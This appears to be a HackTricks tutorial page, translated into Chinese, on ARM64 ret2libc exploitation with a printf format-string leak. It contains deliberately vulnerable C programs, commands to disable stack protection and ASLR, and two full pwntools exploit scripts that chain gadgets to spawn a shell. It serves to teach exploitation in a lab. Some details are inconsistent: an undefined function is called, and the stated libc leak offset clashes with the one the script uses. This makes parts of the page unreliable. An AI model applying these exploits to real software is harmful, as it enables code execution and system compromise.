Ret2lib + Printf leak - arm64

从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

Ret2lib - 通过ROP绕过NX(无ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

编译时不使用canary:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

寻找偏移量

x30 偏移量

使用 pattern create 200 创建模式,使用它,并使用 pattern search $x30 检查偏移量,我们可以看到偏移量为 108 (0x6c)。

查看反汇编的主函数,我们可以看到我们希望跳转到直接跳转到 printf 的指令,其偏移量从二进制文件加载的位置为 0x860

寻找 system 和 /bin/sh 字符串

由于 ASLR 被禁用,地址将始终相同:

寻找 Gadgets

我们需要在 x0 中有指向字符串 /bin/sh 的地址并调用 system

使用 rooper 找到了一个有趣的 gadget:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

这个工具将从**$sp + 0x18加载x0,然后从sp加载地址x29和x30,并跳转到x30。因此,利用这个工具,我们可以控制第一个参数,然后跳转到system**。

攻击利用

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - 通过从栈中的printf泄漏绕过NX、ASLR和PIE

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

编译无 Canary

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE and ASLR but no canary

  • 第一轮:

  • 从栈中泄漏PIE

  • 滥用缓冲区溢出返回到主函数

  • 第二轮:

  • 从栈中泄漏libc

  • ROP:ret2system

Printf泄漏

在调用printf之前设置断点,可以看到栈中有要返回到二进制文件的地址,还有libc地址:

尝试不同的偏移量,%21$p 可以泄漏二进制地址(PIE绕过),%25$p 可以泄漏libc地址:

将泄漏的libc地址减去libc的基地址,可以看到从基地址泄漏地址的偏移为 0x49c40.

x30偏移

请参考前面的示例,因为缓冲区溢出是相同的。

查找Gadgets

就像在前面的示例中一样,我们需要在**x0中有指向字符串/bin/sh的地址,并调用system**。

使用rooper找到了另一个有趣的gadget:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

攻击

这个工具将从**$sp + 0x78加载x0,然后从sp加载地址x29x30,并跳转到x30。因此,利用这个工具,我们可以控制第一个参数,然后跳转到system**。

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)

其他支持HackTricks的方式:

最后更新于